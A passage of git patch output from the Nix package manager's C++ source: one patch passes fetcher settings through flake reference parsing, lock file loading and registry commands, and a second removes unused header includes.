parseFlakeRef(fetchSettings, url, baseDir); } catch (Error &) { return {}; } } std::pair parsePathFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir, bool allowMissing, @@ -166,7 +170,7 @@ std::pair parsePathFlakeRefWithFragment( parsedURL.query.insert_or_assign("shallow", "1"); return std::make_pair( - FlakeRef(fetchers::Input::fromURL(parsedURL), getOr(parsedURL.query, "dir", "")), + FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL), getOr(parsedURL.query, "dir", "")), fragment); } @@ -185,13 +189,14 @@ std::pair parsePathFlakeRefWithFragment( attrs.insert_or_assign("type", "path"); attrs.insert_or_assign("path", path); - return std::make_pair(FlakeRef(fetchers::Input::fromAttrs(std::move(attrs)), ""), fragment); + return std::make_pair(FlakeRef(fetchers::Input::fromAttrs(fetchSettings, std::move(attrs)), ""), fragment); }; /* Check if 'url' is a flake ID. This is an abbreviated syntax for 'flake:?ref=&rev='. */ -std::optional> parseFlakeIdRef( +static std::optional> parseFlakeIdRef( + const fetchers::Settings & fetchSettings, const std::string & url, bool isFlake ) @@ -213,7 +218,7 @@ std::optional> parseFlakeIdRef( }; return std::make_pair( - FlakeRef(fetchers::Input::fromURL(parsedURL, isFlake), ""), + FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake), ""), percentDecode(match.str(6))); } @@ -221,6 +226,7 @@ std::optional> parseFlakeIdRef( } std::optional> parseURLFlakeRef( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir, bool isFlake @@ -236,7 +242,7 @@ std::optional> parseURLFlakeRef( std::string fragment; std::swap(fragment, parsedURL.fragment); - auto input = fetchers::Input::fromURL(parsedURL, isFlake); + auto input = fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake); input.parent = baseDir; return std::make_pair( @@ -245,6 +251,7 @@ std::optional> parseURLFlakeRef( } std::pair parseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir, bool allowMissing, @@ -254,31 +261,34 @@ std::pair parseFlakeRefWithFragment( std::smatch match; - if (auto res = parseFlakeIdRef(url, isFlake)) { + if (auto res = parseFlakeIdRef(fetchSettings, url, isFlake)) { return *res; - } else if (auto res = parseURLFlakeRef(url, baseDir, isFlake)) { + } else if (auto res = parseURLFlakeRef(fetchSettings, url, baseDir, isFlake)) { return *res; } else { - return parsePathFlakeRefWithFragment(url, baseDir, allowMissing, isFlake); + return parsePathFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake); } } std::optional> maybeParseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir) { try { - return parseFlakeRefWithFragment(url, baseDir); + return parseFlakeRefWithFragment(fetchSettings, url, baseDir); } catch (Error & e) { return {}; } } -FlakeRef FlakeRef::fromAttrs(const fetchers::Attrs & attrs) +FlakeRef FlakeRef::fromAttrs( + const fetchers::Settings & fetchSettings, + const fetchers::Attrs & attrs) { auto attrs2(attrs); attrs2.erase("dir"); return FlakeRef( - fetchers::Input::fromAttrs(std::move(attrs2)), + fetchers::Input::fromAttrs(fetchSettings, std::move(attrs2)), fetchers::maybeGetStrAttr(attrs, "dir").value_or("")); } @@ -289,13 +299,16 @@ std::pair FlakeRef::fetchTree(ref store) const } std::tuple parseFlakeRefWithFragmentAndExtendedOutputsSpec( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir, bool allowMissing, bool isFlake) { auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(url); - auto [flakeRef, fragment] = parseFlakeRefWithFragment(std::string { prefix }, baseDir, allowMissing, isFlake); + auto [flakeRef, fragment] = parseFlakeRefWithFragment( + fetchSettings, + std::string { prefix }, baseDir, allowMissing, isFlake); return {std::move(flakeRef), fragment, std::move(extendedOutputsSpec)}; } diff --git a/src/libflake/flake/flakeref.hh b/src/libflake/flake/flakeref.hh index 04c812ed0..ad9b582c5 100644 --- a/src/libflake/flake/flakeref.hh +++ b/src/libflake/flake/flakeref.hh @@ -61,7 +61,9 @@ struct FlakeRef FlakeRef resolve(ref store) const; - static FlakeRef fromAttrs(const fetchers::Attrs & attrs); + static FlakeRef fromAttrs( + const fetchers::Settings & fetchSettings, + const fetchers::Attrs & attrs); std::pair fetchTree(ref store) const; }; @@ -72,6 +74,7 @@ std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef); * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ FlakeRef parseFlakeRef( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, @@ -81,12 +84,15 @@ FlakeRef parseFlakeRef( * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::optional maybeParseFlake( - const std::string & url, const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir = {}); /** * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::pair parseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, @@ -96,12 +102,15 @@ std::pair parseFlakeRefWithFragment( * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::optional> maybeParseFlakeRefWithFragment( - const std::string & url, const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir = {}); /** * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) */ std::tuple parseFlakeRefWithFragmentAndExtendedOutputsSpec( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index d252214dd..c94692d6e 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -10,7 +10,8 @@ namespace nix::flake { -FlakeRef getFlakeRef( +static FlakeRef getFlakeRef( + const fetchers::Settings & fetchSettings, const nlohmann::json & json, const char * attr, const char * info) @@ -26,15 +27,17 @@ FlakeRef getFlakeRef( attrs.insert_or_assign(k.first, k.second); } } - return FlakeRef::fromAttrs(attrs); + return FlakeRef::fromAttrs(fetchSettings, attrs); } throw Error("attribute '%s' missing in lock file", attr); } -LockedNode::LockedNode(const nlohmann::json & json) - : lockedRef(getFlakeRef(json, "locked", "info")) // FIXME: remove "info" - , originalRef(getFlakeRef(json, "original", nullptr)) +LockedNode::LockedNode( + const fetchers::Settings & fetchSettings, + const nlohmann::json & json) + : lockedRef(getFlakeRef(fetchSettings, json, "locked", "info")) // FIXME: remove "info" + , originalRef(getFlakeRef(fetchSettings, json, "original", nullptr)) , isFlake(json.find("flake") != json.end() ? (bool) json["flake"] : true) { if (!lockedRef.input.isLocked()) @@ -84,7 +87,9 @@ std::shared_ptr LockFile::findInput(const InputPath & path) return doFind(root, path, visited); } -LockFile::LockFile(std::string_view contents, std::string_view path) +LockFile::LockFile( + const fetchers::Settings & fetchSettings, + std::string_view contents, std::string_view path) { auto json = nlohmann::json::parse(contents); @@ -113,7 +118,7 @@ LockFile::LockFile(std::string_view contents, std::string_view path) auto jsonNode2 = nodes.find(inputKey); if (jsonNode2 == nodes.end()) throw Error("lock file references missing node '%s'", inputKey); - auto input = make_ref(*jsonNode2); + auto input = make_ref(fetchSettings, *jsonNode2); k = nodeMap.insert_or_assign(inputKey, input).first; getInputs(*input, *jsonNode2); } diff --git a/src/libflake/flake/lockfile.hh b/src/libflake/flake/lockfile.hh index 7e62e6d09..e269b6c39 100644 --- a/src/libflake/flake/lockfile.hh +++ b/src/libflake/flake/lockfile.hh @@ -45,7 +45,9 @@ struct LockedNode : Node : lockedRef(lockedRef), originalRef(originalRef), isFlake(isFlake) { } - LockedNode(const nlohmann::json & json); + LockedNode( + const fetchers::Settings & fetchSettings, + const nlohmann::json & json); StorePath computeStorePath(Store & store) const; }; @@ -55,7 +57,9 @@ struct LockFile ref root = make_ref(); LockFile() {}; - LockFile(std::string_view contents, std::string_view path); + LockFile( + const fetchers::Settings & fetchSettings, + std::string_view contents, std::string_view path); typedef std::map, std::string> KeyMap; diff --git a/src/libflake/flake/settings.cc b/src/libflake/flake/settings.cc new file mode 100644 index 000000000..6a0294e62 --- /dev/null +++ b/src/libflake/flake/settings.cc @@ -0,0 +1,7 @@ +#include "flake/settings.hh" + +namespace nix::flake { + +Settings::Settings() {} + +} diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake/settings.hh similarity index 86% rename from src/libflake/flake-settings.hh rename to src/libflake/flake/settings.hh index f97c175e8..fee247a7d 100644 --- a/src/libflake/flake-settings.hh +++ b/src/libflake/flake/settings.hh @@ -10,11 +10,11 @@ #include -namespace nix { +namespace nix::flake { -struct FlakeSettings : public Config +struct Settings : public Config { - FlakeSettings(); + Settings(); Setting useRegistries{ this, @@ -47,7 +47,4 @@ struct FlakeSettings : public Config Xp::Flakes}; }; -// TODO: don't use a global variable. -extern FlakeSettings flakeSettings; - } diff --git a/src/libflake/meson.build b/src/libflake/meson.build index d3c3d3079..38d70c678 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -42,21 +42,21 @@ add_project_arguments( subdir('build-utils-meson/diagnostics') sources = files( - 'flake-settings.cc', 'flake/config.cc', 'flake/flake.cc', 'flake/flakeref.cc', - 'flake/url-name.cc', 'flake/lockfile.cc', + 'flake/settings.cc', + 'flake/url-name.cc', ) include_dirs = [include_directories('.')] headers = files( - 'flake-settings.hh', 'flake/flake.hh', 'flake/flakeref.hh', 'flake/lockfile.hh', + 'flake/settings.hh', 'flake/url-name.hh', ) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index d37b16bdc..4d373ef8d 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -286,7 +286,7 @@ static void main_nix_build(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.lookupPath, evalStore, evalSettings, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, fetchSettings, evalSettings, store); state->repair = myArgs.repair; if (myArgs.repair) buildMode = bmRepair; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index c72378cd5..5e170c99d 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1525,7 +1525,7 @@ static int main_nix_env(int argc, char * * argv) auto store = openStore(); - globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store, evalSettings)); + globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store, fetchSettings, evalSettings)); globals.state->repair = myArgs.repair; globals.instSource.nixExprPath = std::make_shared( diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index a4bfeebbb..c48549511 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -157,7 +157,7 @@ static int main_nix_instantiate(int argc, char * * argv) auto store = openStore(); auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store; - auto state = std::make_unique(myArgs.lookupPath, evalStore, evalSettings, store); + auto state = std::make_unique(myArgs.lookupPath, evalStore, fetchSettings, evalSettings, store); state->repair = myArgs.repair; Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc index 554c36540..7d9aa7711 100644 --- a/src/nix/bundle.cc +++ b/src/nix/bundle.cc @@ -76,7 +76,9 @@ struct CmdBundle : InstallableValueCommand auto val = installable->toValue(*evalState).first; - auto [bundlerFlakeRef, bundlerName, extendedOutputsSpec] = parseFlakeRefWithFragmentAndExtendedOutputsSpec(bundler, absPath(".")); + auto [bundlerFlakeRef, bundlerName, extendedOutputsSpec] = + parseFlakeRefWithFragmentAndExtendedOutputsSpec( + fetchSettings, bundler, absPath(".")); const flake::LockFlags lockFlags{ .writeLockFile = false }; InstallableFlake bundler{this, evalState, std::move(bundlerFlakeRef), bundlerName, std::move(extendedOutputsSpec), diff --git a/src/nix/flake.cc b/src/nix/flake.cc index b65c7f59d..cfbe58712 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -48,19 +48,19 @@ public: FlakeRef getFlakeRef() { - return parseFlakeRef(flakeUrl, absPath(".")); //FIXME + return parseFlakeRef(fetchSettings, flakeUrl, absPath(".")); //FIXME } LockedFlake lockFlake() { - return flake::lockFlake(*getEvalState(), getFlakeRef(), lockFlags); + return flake::lockFlake(flakeSettings, *getEvalState(), getFlakeRef(), lockFlags); } std::vector getFlakeRefsForCompletion() override { return { // Like getFlakeRef but with expandTilde calld first - parseFlakeRef(expandTilde(flakeUrl), absPath(".")) + parseFlakeRef(fetchSettings, expandTilde(flakeUrl), absPath(".")) }; } }; @@ -848,7 +848,8 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand auto evalState = getEvalState(); - auto [templateFlakeRef, templateName] = parseFlakeRefWithFragment(templateUrl, absPath(".")); + auto [templateFlakeRef, templateName] = parseFlakeRefWithFragment( + fetchSettings, templateUrl, absPath(".")); auto installable = InstallableFlake(nullptr, evalState, std::move(templateFlakeRef), templateName, ExtendedOutputsSpec::Default(), diff --git a/src/nix/main.cc b/src/nix/main.cc index 775052351..44e69f588 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -19,6 +19,7 @@ #include "users.hh" #include "network-proxy.hh" #include "eval-cache.hh" +#include "flake/flake.hh" #include #include @@ -242,7 +243,7 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) evalSettings.restrictEval = false; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://"), evalSettings); + EvalState state({}, openStore("dummy://"), fetchSettings, evalSettings); auto vGenerateManpage = state.allocValue(); state.eval(state.parseExprFromString( @@ -362,6 +363,7 @@ void mainWrapped(int argc, char * * argv) initNix(); initGC(); + flake::initLib(flakeSettings); #if __linux__ if (isRootUser()) { @@ -418,7 +420,7 @@ void mainWrapped(int argc, char * * argv) Xp::FetchTree, }; evalSettings.pureEval = false; - EvalState state({}, openStore("dummy://"), evalSettings); + EvalState state({}, openStore("dummy://"), fetchSettings, evalSettings); auto builtinsJson = nlohmann::json::object(); for (auto & builtin : *state.baseEnv.values[0]->attrs()) { auto b = nlohmann::json::object(); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index c6e60a53b..db7d9e4ef 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -195,7 +195,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) startProgressBar(); auto store = openStore(); - auto state = std::make_unique(myArgs.lookupPath, store, evalSettings); + auto state = std::make_unique(myArgs.lookupPath, store, fetchSettings, evalSettings); Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c89b8c9bd..bb6424c4f 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -154,8 +154,8 @@ struct ProfileManifest } if (e.value(sUrl, "") != "") { element.source = ProfileElementSource { - parseFlakeRef(e[sOriginalUrl]), - parseFlakeRef(e[sUrl]), + parseFlakeRef(fetchSettings, e[sOriginalUrl]), + parseFlakeRef(fetchSettings, e[sUrl]), e["attrPath"], e["outputs"].get() }; diff --git a/src/nix/registry.cc b/src/nix/registry.cc index 812429240..ee4516230 100644 --- a/src/nix/registry.cc +++ b/src/nix/registry.cc @@ -33,9 +33,9 @@ public: { if (registry) return registry; if (registry_path.empty()) { - registry = fetchers::getUserRegistry(); + registry = fetchers::getUserRegistry(fetchSettings); } else { - registry = fetchers::getCustomRegistry(registry_path); + registry = fetchers::getCustomRegistry(fetchSettings, registry_path); } return registry; } @@ -68,7 +68,7 @@ struct CmdRegistryList : StoreCommand { using namespace fetchers; - auto registries = getRegistries(store); + auto registries = getRegistries(fetchSettings, store); for (auto & registry : registries) { for (auto & entry : registry->entries) { @@ -109,8 +109,8 @@ struct CmdRegistryAdd : MixEvalArgs, Command, RegistryCommand void run() override { - auto fromRef = parseFlakeRef(fromUrl); - auto toRef = parseFlakeRef(toUrl); + auto fromRef = parseFlakeRef(fetchSettings, fromUrl); + auto toRef = parseFlakeRef(fetchSettings, toUrl); auto registry = getRegistry(); fetchers::Attrs extraAttrs; if (toRef.subdir != "") extraAttrs["dir"] = toRef.subdir; @@ -144,7 +144,7 @@ struct CmdRegistryRemove : RegistryCommand, Command void run() override { auto registry = getRegistry(); - registry->remove(parseFlakeRef(url).input); + registry->remove(parseFlakeRef(fetchSettings, url).input); registry->write(getRegistryPath()); } }; @@ -185,8 +185,8 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand { if (locked.empty()) locked = url; auto registry = getRegistry(); - auto ref = parseFlakeRef(url); - auto lockedRef = parseFlakeRef(locked); + auto ref = parseFlakeRef(fetchSettings, url); + auto lockedRef = parseFlakeRef(fetchSettings, locked); registry->remove(ref.input); auto resolved = lockedRef.resolve(store).input.getAccessor(store).second; if (!resolved.isLocked()) diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index 29297253b..7b3357700 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -147,7 +147,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl); auto res = getFileTransfer()->download(req); - auto state = std::make_unique(LookupPath{}, store, evalSettings); + auto state = std::make_unique(LookupPath{}, store, fetchSettings, evalSettings); auto v = state->allocValue(); state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v); Bindings & bindings(*state->allocBindings(0)); diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh index eacbf0d5c..c85545e6c 100644 --- a/tests/unit/libexpr-support/tests/libexpr.hh +++ b/tests/unit/libexpr-support/tests/libexpr.hh @@ -4,8 +4,10 @@ #include #include +#include "fetch-settings.hh" #include "value.hh" #include "nixexpr.hh" +#include "nixexpr.hh" #include "eval.hh" #include "eval-inline.hh" #include "eval-settings.hh" @@ -24,7 +26,7 @@ namespace nix { protected: LibExprTest() : LibStoreTest() - , state({}, store, evalSettings, nullptr) + , state({}, store, fetchSettings, evalSettings, nullptr) { evalSettings.nixPath = {}; } @@ -43,6 +45,7 @@ namespace nix { } bool readOnlyMode = true; + fetchers::Settings fetchSettings{}; EvalSettings evalSettings{readOnlyMode}; EvalState state; }; diff --git a/tests/unit/libflake/flakeref.cc b/tests/unit/libflake/flakeref.cc index 2b7809b93..d704a26d3 100644 --- a/tests/unit/libflake/flakeref.cc +++ b/tests/unit/libflake/flakeref.cc @@ -1,5 +1,6 @@ #include +#include "fetch-settings.hh" #include "flake/flakeref.hh" namespace nix { @@ -11,8 +12,9 @@ namespace nix { * --------------------------------------------------------------------------*/ TEST(to_string, doesntReencodeUrl) { + fetchers::Settings fetchSettings; auto s = "http://localhost:8181/test/+3d.tar.gz"; - auto flakeref = parseFlakeRef(s); + auto flakeref = parseFlakeRef(fetchSettings, s); auto parsed = flakeref.to_string(); auto expected = "http://localhost:8181/test/%2B3d.tar.gz"; From 8df041cbc6686eebda7efced8dab256838cff900 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 15:37:54 +0200 Subject: [PATCH 1043/1251] Solve unused header warnings reported by clangd --- src/libcmd/repl.cc | 4 +--- src/libexpr-c/nix_api_expr.cc | 4 +--- src/libexpr/attr-set.hh | 1 - src/libexpr/eval-error.hh | 2 -- src/libexpr/eval-settings.hh | 1 + src/libexpr/eval.cc | 4 +--- src/libexpr/eval.hh | 6 +++--- src/libexpr/nixexpr.cc | 1 - src/libexpr/nixexpr.hh | 3 --- src/libexpr/pos-table.hh | 4 +--- src/libexpr/primops.cc | 1 - src/libexpr/value.hh | 1 - src/libfetchers/fetchers.hh | 2 ++ src/libfetchers/tarball.cc | 2 -- src/libfetchers/tarball.hh | 9 +++++---- src/libflake/flake/flakeref.hh | 6 ++---- src/libflake/flake/lockfile.cc | 3 ++- src/libmain/shared.cc | 2 +- src/libmain/shared.hh | 4 ---- src/libstore/derivations.hh | 1 - src/libstore/derived-path.hh | 1 + src/libstore/filetransfer.hh | 10 ++++++---- src/libstore/gc-store.hh | 3 ++- src/libstore/machines.hh | 2 +- src/libstore/misc.cc | 2 ++ src/libstore/nar-accessor.cc | 1 - src/libstore/serve-protocol-impl.hh | 1 - src/libstore/store-api.hh | 4 ---- src/libstore/unix/user-lock.cc | 7 ++++--- src/libstore/unix/user-lock.hh | 6 ++---- src/libutil/args.hh | 2 +- src/libutil/error.hh | 4 ---- src/libutil/file-content-address.hh | 2 -- src/libutil/fs-sink.hh | 1 - src/libutil/logging.hh | 1 - src/libutil/ref.hh | 2 -- src/libutil/source-accessor.hh | 1 + src/libutil/terminal.hh | 3 ++- src/libutil/types.hh | 2 -- src/nix-store/nix-store.cc | 6 +++--- src/nix/config-check.cc | 1 + src/nix/env.cc | 4 +++- src/nix/flake.cc | 1 - src/nix/main.cc | 3 +-- src/nix/verify.cc | 4 ++-- tests/unit/libexpr-support/tests/libexpr.hh | 2 +- 46 files changed, 53 insertions(+), 84 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index ce1c5af69..dc5a311e7 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -1,7 +1,6 @@ #include #include #include -#include #include "repl-interacter.hh" #include "repl.hh" @@ -10,8 +9,6 @@ #include "shared.hh" #include "config-global.hh" #include "eval.hh" -#include "eval-cache.hh" -#include "eval-inline.hh" #include "eval-settings.hh" #include "attr-path.hh" #include "signals.hh" @@ -29,6 +26,7 @@ #include "markdown.hh" #include "local-fs-store.hh" #include "print.hh" +#include "ref.hh" #if HAVE_BOEHMGC #define GC_INCLUDE_NEW diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index 13e0f5f3a..2494c653c 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -1,12 +1,10 @@ #include -#include #include #include -#include "config.hh" #include "eval.hh" +#include "eval-gc.hh" #include "globals.hh" -#include "util.hh" #include "eval-settings.hh" #include "nix_api_expr.h" diff --git a/src/libexpr/attr-set.hh b/src/libexpr/attr-set.hh index ba798196d..9d10783d9 100644 --- a/src/libexpr/attr-set.hh +++ b/src/libexpr/attr-set.hh @@ -5,7 +5,6 @@ #include "symbol-table.hh" #include -#include namespace nix { diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh index fe48e054b..2f6046473 100644 --- a/src/libexpr/eval-error.hh +++ b/src/libexpr/eval-error.hh @@ -1,7 +1,5 @@ #pragma once -#include - #include "error.hh" #include "pos-idx.hh" diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 191dde21a..b915ba530 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -2,6 +2,7 @@ ///@file #include "config.hh" +#include "ref.hh" namespace nix { diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index efca9dd2f..1da934693 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1,6 +1,6 @@ #include "eval.hh" +#include "eval-gc.hh" #include "eval-settings.hh" -#include "hash.hh" #include "primops.hh" #include "print-options.hh" #include "exit.hh" @@ -16,7 +16,6 @@ #include "print.hh" #include "filtering-source-accessor.hh" #include "memory-source-accessor.hh" -#include "signals.hh" #include "gc-small-vector.hh" #include "url.hh" #include "fetch-to-store.hh" @@ -24,7 +23,6 @@ #include "parser-tab.hh" #include -#include #include #include #include diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index e45358055..e5818a501 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -3,21 +3,21 @@ #include "attr-set.hh" #include "eval-error.hh" -#include "eval-gc.hh" #include "types.hh" #include "value.hh" #include "nixexpr.hh" #include "symbol-table.hh" #include "config.hh" #include "experimental-features.hh" +#include "position.hh" +#include "pos-table.hh" #include "source-accessor.hh" #include "search-path.hh" #include "repl-exit-status.hh" +#include "ref.hh" #include #include -#include -#include #include namespace nix { diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 44198a252..816389165 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -1,5 +1,4 @@ #include "nixexpr.hh" -#include "derivations.hh" #include "eval.hh" #include "symbol-table.hh" #include "util.hh" diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index e37e3bdd1..5152e3119 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -6,11 +6,8 @@ #include "value.hh" #include "symbol-table.hh" -#include "error.hh" -#include "position.hh" #include "eval-error.hh" #include "pos-idx.hh" -#include "pos-table.hh" namespace nix { diff --git a/src/libexpr/pos-table.hh b/src/libexpr/pos-table.hh index 8a0a3ba86..ba2b91cf3 100644 --- a/src/libexpr/pos-table.hh +++ b/src/libexpr/pos-table.hh @@ -1,10 +1,8 @@ #pragma once -#include -#include +#include #include -#include "chunked-vector.hh" #include "pos-idx.hh" #include "position.hh" #include "sync.hh" diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index bcde0bb12..127823d49 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1,4 +1,3 @@ -#include "archive.hh" #include "derivations.hh" #include "downstream-placeholder.hh" #include "eval-inline.hh" diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 208cab21d..1f7b75f6e 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -2,7 +2,6 @@ ///@file #include -#include #include #include "symbol-table.hh" diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 551be9a1f..6126b263c 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -11,6 +11,8 @@ #include #include +#include "ref.hh" + namespace nix { class Store; class StorePath; struct SourceAccessor; } namespace nix::fetchers { diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index aa8ff652f..4425575bd 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -2,12 +2,10 @@ #include "fetchers.hh" #include "cache.hh" #include "filetransfer.hh" -#include "globals.hh" #include "store-api.hh" #include "archive.hh" #include "tarfile.hh" #include "types.hh" -#include "split.hh" #include "store-path-accessor.hh" #include "store-api.hh" #include "git-utils.hh" diff --git a/src/libfetchers/tarball.hh b/src/libfetchers/tarball.hh index ba0dfd623..d9bdd123d 100644 --- a/src/libfetchers/tarball.hh +++ b/src/libfetchers/tarball.hh @@ -1,11 +1,12 @@ #pragma once -#include "types.hh" -#include "path.hh" -#include "hash.hh" - #include +#include "hash.hh" +#include "path.hh" +#include "ref.hh" +#include "types.hh" + namespace nix { class Store; struct SourceAccessor; diff --git a/src/libflake/flake/flakeref.hh b/src/libflake/flake/flakeref.hh index 04c812ed0..54794ccab 100644 --- a/src/libflake/flake/flakeref.hh +++ b/src/libflake/flake/flakeref.hh @@ -1,14 +1,12 @@ #pragma once ///@file +#include + #include "types.hh" -#include "hash.hh" #include "fetchers.hh" #include "outputs-spec.hh" -#include -#include - namespace nix { class Store; diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index d252214dd..83ca2c678 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -1,6 +1,7 @@ +#include + #include "lockfile.hh" #include "store-api.hh" -#include "url-parts.hh" #include #include diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index fc55fe3f1..fee4d0c1e 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -8,7 +8,6 @@ #include "signals.hh" #include -#include #include #include @@ -23,6 +22,7 @@ #include +#include "exit.hh" namespace nix { diff --git a/src/libmain/shared.hh b/src/libmain/shared.hh index aa44e1321..712b404d3 100644 --- a/src/libmain/shared.hh +++ b/src/libmain/shared.hh @@ -8,13 +8,9 @@ #include "common-args.hh" #include "path.hh" #include "derived-path.hh" -#include "exit.hh" #include -#include - - namespace nix { int handleExceptions(const std::string & programName, std::function fun); diff --git a/src/libstore/derivations.hh b/src/libstore/derivations.hh index 522523e45..9b82e5d12 100644 --- a/src/libstore/derivations.hh +++ b/src/libstore/derivations.hh @@ -14,7 +14,6 @@ #include #include - namespace nix { struct StoreDirConfig; diff --git a/src/libstore/derived-path.hh b/src/libstore/derived-path.hh index b238f844e..af66ed4f0 100644 --- a/src/libstore/derived-path.hh +++ b/src/libstore/derived-path.hh @@ -5,6 +5,7 @@ #include "outputs-spec.hh" #include "comparator.hh" #include "config.hh" +#include "ref.hh" #include diff --git a/src/libstore/filetransfer.hh b/src/libstore/filetransfer.hh index 1c271cbec..1f5b4ab93 100644 --- a/src/libstore/filetransfer.hh +++ b/src/libstore/filetransfer.hh @@ -1,13 +1,15 @@ #pragma once ///@file -#include "types.hh" -#include "hash.hh" -#include "config.hh" - #include #include +#include "logging.hh" +#include "types.hh" +#include "ref.hh" +#include "config.hh" +#include "serialise.hh" + namespace nix { struct FileTransferSettings : Config diff --git a/src/libstore/gc-store.hh b/src/libstore/gc-store.hh index ab1059fb1..020f770b0 100644 --- a/src/libstore/gc-store.hh +++ b/src/libstore/gc-store.hh @@ -1,8 +1,9 @@ #pragma once ///@file -#include "store-api.hh" +#include +#include "store-api.hh" namespace nix { diff --git 